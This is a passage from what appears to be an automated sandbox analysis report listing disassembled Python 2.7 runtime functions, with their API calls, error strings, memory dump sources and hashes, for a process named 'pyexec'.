                                                                                                                                                                      • Part of subcall function 67017BB0: PyObject_GetItem.PYTHON27(?), ref: 67017BCE
                                                                                                                                                                      • Part of subcall function 67017BB0: PyInt_AsSsize_t.PYTHON27(00000000), ref: 67017BE9
                                                                                                                                                                    • PyInt_FromSsize_t.PYTHON27(?,?,?,?), ref: 67017F7D
                                                                                                                                                                      • Part of subcall function 670B70D0: PyInt_FromLong.PYTHON27(6708E114,?,6708E114,?), ref: 670B70E2
                                                                                                                                                                    • PyString_FromString.PYTHON27(no such group,?,?,?), ref: 67017F96
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245B38,00000000,no such group,?,?,?), ref: 67017F9F
                                                                                                                                                                    Strings
                                                                                                                                                                    • start, xrefs: 67017F47
                                                                                                                                                                    • c$g, xrefs: 67017F4D
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 67017F8B
                                                                                                                                                                    • no such group, xrefs: 67017F91
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: From$Int_$Err_ObjectSsize_tStringString_$Arg_ItemLongObject_TupleUnpack
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$no such group$start$c$g
                                                                                                                                                                    • API String ID: 2789669055-431507479
                                                                                                                                                                    • Opcode ID: 3baacc89b7e2d6ce6aad6c7246dbb13d4fe32e27b440f202fef6be427e128a23
                                                                                                                                                                    • Instruction ID: 62647899f8daff1a1e74b951df1e1e6eeefa72763b9244d3f71461bfbed7bd58
                                                                                                                                                                    • Opcode Fuzzy Hash: 3baacc89b7e2d6ce6aad6c7246dbb13d4fe32e27b440f202fef6be427e128a23
                                                                                                                                                                    • Instruction Fuzzy Hash: 50012676A046046FD2209AA4EC85B6B73EC9B4C634F00436EFD6987280E731E901C7F7
                                                                                                                                                                    Function 67017FD0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 58COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27 ref: 67017FF5
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                      • Part of subcall function 67017BB0: PyObject_GetItem.PYTHON27(?), ref: 67017BCE
                                                                                                                                                                      • Part of subcall function 67017BB0: PyInt_AsSsize_t.PYTHON27(00000000), ref: 67017BE9
                                                                                                                                                                    • PyInt_FromSsize_t.PYTHON27(?,?,?,?), ref: 6701801D
                                                                                                                                                                      • Part of subcall function 670B70D0: PyInt_FromLong.PYTHON27(6708E114,?,6708E114,?), ref: 670B70E2
                                                                                                                                                                    • PyString_FromString.PYTHON27(no such group,?,?,?), ref: 67018036
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245B38,00000000,no such group,?,?,?), ref: 6701803F
                                                                                                                                                                    Strings
                                                                                                                                                                    • c$g, xrefs: 67017FED
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6701802B
                                                                                                                                                                    • no such group, xrefs: 67018031
                                                                                                                                                                    • end, xrefs: 67017FE7
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: From$Int_$Err_ObjectSsize_tStringString_$Arg_ItemLongObject_TupleUnpack
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$end$no such group$c$g
                                                                                                                                                                    • API String ID: 2789669055-1006291700
                                                                                                                                                                    • Opcode ID: 7f4deeedb1aa5bd61b55a4eb5e63652635454e406ddfeebf6bff6f267a94ecfb
                                                                                                                                                                    • Instruction ID: 40021dd25e26aba203ca153eb9a5ba667aa86dc6275b74494e2733dadba8d23f
                                                                                                                                                                    • Opcode Fuzzy Hash: 7f4deeedb1aa5bd61b55a4eb5e63652635454e406ddfeebf6bff6f267a94ecfb
                                                                                                                                                                    • Instruction Fuzzy Hash: 97012B76904A045BD2119AA4EC45B6B73ECDB4C634F004769EE6DD7280E731EA11C7F7
                                                                                                                                                                    Function 670B8D20 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 55COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PySequence_Check.PYTHON27(6708FF2A,?,?,?,6708FF2A,?), ref: 670B8D2C
                                                                                                                                                                      • Part of subcall function 6708DF00: PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6708DF1A
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\iterobject.c,00000011,?), ref: 670B8D4A
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000010,?), ref: 670B8D61
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked,?,?), ref: 670B8D96
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Object_$AttrCheckErr_ErrorFatalFormatMallocSequence_String
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\iterobject.c$GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2777691447-2997466800
                                                                                                                                                                    • Opcode ID: 1180755f93fb8e9c44345a03f383a00f06ccfc0086d9a499288d9c01d74653cb
                                                                                                                                                                    • Instruction ID: d8b8226ed0d889860b7aae7167fb759e551e6c42544ff00bff6d9d38d6b2b8cd
                                                                                                                                                                    • Opcode Fuzzy Hash: 1180755f93fb8e9c44345a03f383a00f06ccfc0086d9a499288d9c01d74653cb
                                                                                                                                                                    • Instruction Fuzzy Hash: BA1106B15006059BC720CF54D806A56F3E8FB59368F10462FD93897390E375A456CBD1
                                                                                                                                                                    Function 67130F50 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39threadCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetLastError.KERNEL32(6F82F1C3,?,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130F5B
                                                                                                                                                                    • TlsGetValue.KERNEL32(?,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130F64
                                                                                                                                                                    • SetLastError.KERNEL32(00000000,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130F6D
                                                                                                                                                                    • Py_FatalError.PYTHON27(auto-releasing thread-state, but no thread-state for this thread,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130F7C
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • Py_FatalError.PYTHON27(This thread state must be current when releasing,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130F91
                                                                                                                                                                    • PyThreadState_Clear.PYTHON27(00000000,?,?,?,?,?,?,?,?,?,670C595C,00000000,?,-00000040,00000000,00000000), ref: 67130FA0
                                                                                                                                                                    Strings
                                                                                                                                                                    • This thread state must be current when releasing, xrefs: 67130F8C
                                                                                                                                                                    • auto-releasing thread-state, but no thread-state for this thread, xrefs: 67130F77
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Error$DebugOutputString$FatalLast__iob_func$ClearState_ThreadValueabortfflushfprintf
                                                                                                                                                                    • String ID: This thread state must be current when releasing$auto-releasing thread-state, but no thread-state for this thread
                                                                                                                                                                    • API String ID: 635605043-2749262977
                                                                                                                                                                    • Opcode ID: d876e2cbbdee53a6ed169d4997fa03f2305b50b35511317a8c9468fdcc77e146
                                                                                                                                                                    • Instruction ID: 76f3e1be481f3b212267ee739b3a4f929dc301ac3764da5dd45826b8c359b029
                                                                                                                                                                    • Opcode Fuzzy Hash: d876e2cbbdee53a6ed169d4997fa03f2305b50b35511317a8c9468fdcc77e146
                                                                                                                                                                    • Instruction Fuzzy Hash: FDF0C07381823457CB12266C784E49A33FD4B6F378B060033EA149710097356484CAE7
                                                                                                                                                                    Function 670B7410 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 136COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyLong_AsUnsignedLongLongMask.PYTHON27(?), ref: 670B7447
                                                                                                                                                                    • PyString_FromString.PYTHON27(an integer is required), ref: 670B7524
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,an integer is required), ref: 670B752D
                                                                                                                                                                    Strings
                                                                                                                                                                    • an integer is required, xrefs: 670B751F
                                                                                                                                                                    • __int__ method should return an integer, xrefs: 670B74DD
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Long$Err_FromLong_MaskObjectStringString_Unsigned
                                                                                                                                                                    • String ID: __int__ method should return an integer$an integer is required
                                                                                                                                                                    • API String ID: 4252816533-4209363968
                                                                                                                                                                    • Opcode ID: f235c9306482ad92fbdeb09977c0260d390610e446957c52c3e75a59b551aff1
                                                                                                                                                                    • Instruction ID: ea8854ca748cb5f77845ff69620f7938a3900405a09a9c8b1c86bc47523d927f
                                                                                                                                                                    • Opcode Fuzzy Hash: f235c9306482ad92fbdeb09977c0260d390610e446957c52c3e75a59b551aff1
                                                                                                                                                                    • Instruction Fuzzy Hash: CB31F872B005014BD220CA69EC81B56B3D5EB99735B24477AE93CC73D0D736DD46C6E2
                                                                                                                                                                    Function 67007C00 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 133COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_Call.PYTHON27(00000000,00000000,00000000), ref: 67007C4C
                                                                                                                                                                    • PySequence_Concat.PYTHON27(?,?), ref: 67007C94
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD), ref: 67007CC3
                                                                                                                                                                    • PyDict_Copy.PYTHON27(?), ref: 67007CCF
                                                                                                                                                                      • Part of subcall function 670A66F0: PyDict_New.PYTHON27 ref: 670A670B
                                                                                                                                                                      • Part of subcall function 670A66F0: PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 670A671A
                                                                                                                                                                    • PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 67007D06
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\dictobject.c, xrefs: 67007CB8
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67007CBD
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_$Merge$CallConcatCopyErr_FormatObject_Sequence_
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
                                                                                                                                                                    • API String ID: 1080960429-1541589624
                                                                                                                                                                    • Opcode ID: 9256165724dfb8b318bbcc98db4e9d55f8cbee61826291ab9cc81112a3f1114b
                                                                                                                                                                    • Instruction ID: 22f4b7d815991ae52a984a1f4a18211457044b9c25d27c4a50c7847868ab5134
                                                                                                                                                                    • Opcode Fuzzy Hash: 9256165724dfb8b318bbcc98db4e9d55f8cbee61826291ab9cc81112a3f1114b
                                                                                                                                                                    • Instruction Fuzzy Hash: 0C4183726005015BEB14CE64DC81F9673E5EB89374F24576DED288B281E739EC52C6E1
                                                                                                                                                                    Function 67003E30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_RichCompare.PYTHON27(?,?,00000002), ref: 67003E82
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27(00000000), ref: 67003EAB
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(00000000), ref: 67003F27
                                                                                                                                                                    • PyString_FromString.PYTHON27(deque mutated during iteration), ref: 67003F41
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245248,00000000,deque mutated during iteration), ref: 67003F4A
                                                                                                                                                                    • _PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 67003F7F
                                                                                                                                                                    Strings
                                                                                                                                                                    • deque mutated during iteration, xrefs: 67003F3C
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: From$Object_$ArrayByteCompareErr_Int_LongLong_ObjectRichStringString_True
                                                                                                                                                                    • String ID: deque mutated during iteration
                                                                                                                                                                    • API String ID: 157478544-601426129
                                                                                                                                                                    • Opcode ID: 498ad24bed4aafc104d48ab449f96db3f92f54ab430efa21450eb9b648dbda20
                                                                                                                                                                    • Instruction ID: 107a520abc3b845e2fb3ef46f01c185a274b33052eb6b5d77de7cc966c305556
                                                                                                                                                                    • Opcode Fuzzy Hash: 498ad24bed4aafc104d48ab449f96db3f92f54ab430efa21450eb9b648dbda20
                                                                                                                                                                    • Instruction Fuzzy Hash: 124196756042019FD715DE28D881F6BF3E5EF8C738F208A6DE96987280D731DD4687A2
                                                                                                                                                                    Function 6708B7D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 101COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a single-segment buffer object), ref: 6708B82A
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a writeable buffer object), ref: 6708B86F
                                                                                                                                                                    • PyString_FromString.PYTHON27(null argument to internal routine), ref: 6708B898
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672465C8,00000000,null argument to internal routine), ref: 6708B8A1
                                                                                                                                                                    Strings
                                                                                                                                                                    • expected a single-segment buffer object, xrefs: 6708B824
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708B893
                                                                                                                                                                    • expected a writeable buffer object, xrefs: 6708B869
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_
                                                                                                                                                                    • String ID: expected a single-segment buffer object$expected a writeable buffer object$null argument to internal routine
                                                                                                                                                                    • API String ID: 354487993-377861076
                                                                                                                                                                    • Opcode ID: 7458821f9f03a829fed589e0de8849c425254fa84aa67fbc5c85d875f9c31bd3
                                                                                                                                                                    • Instruction ID: 8c057960c3fee4cb20872c74762862788dbf740de9424e39de3de23a4ce60b10
                                                                                                                                                                    • Opcode Fuzzy Hash: 7458821f9f03a829fed589e0de8849c425254fa84aa67fbc5c85d875f9c31bd3
                                                                                                                                                                    • Instruction Fuzzy Hash: BA21B432A00601DBDB10CA65EC85B6A73E4EB99735F14476DED3C8B380D735E842C6E2
                                                                                                                                                                    Function 6708B6D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 101COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a single-segment buffer object), ref: 6708B729
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,expected a readable buffer object), ref: 6708B76D
                                                                                                                                                                    • PyString_FromString.PYTHON27(null argument to internal routine), ref: 6708B796
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672465C8,00000000,null argument to internal routine), ref: 6708B79F
                                                                                                                                                                    Strings
                                                                                                                                                                    • expected a single-segment buffer object, xrefs: 6708B723
                                                                                                                                                                    • expected a readable buffer object, xrefs: 6708B767
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708B791
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_
                                                                                                                                                                    • String ID: expected a readable buffer object$expected a single-segment buffer object$null argument to internal routine
                                                                                                                                                                    • API String ID: 354487993-198770205
                                                                                                                                                                    • Opcode ID: 2d9cce4deb5cea2a5927fa0c9ecf4030f10972959eb32a082cb92d272c632a54
                                                                                                                                                                    • Instruction ID: 327d6ea43f829393d2f6c6d69f60360ff4c85c24fe7a7d9d7e51d5cf1def8108
                                                                                                                                                                    • Opcode Fuzzy Hash: 2d9cce4deb5cea2a5927fa0c9ecf4030f10972959eb32a082cb92d272c632a54
                                                                                                                                                                    • Instruction Fuzzy Hash: 8A21E9366007059BDA10CE68EC85B6A73E4EB99734F104769ED3C8B380D735E846CBE2
                                                                                                                                                                    Function 6708D7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(__int__), ref: 6708D7E2
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?), ref: 6708D7F5
                                                                                                                                                                    • PyObject_GetAttr.PYTHON27(?,?), ref: 6708D82E
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 6708D83C
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(00000000,00000000,00000000), ref: 6708D859
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,?,?), ref: 6708D8A7
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
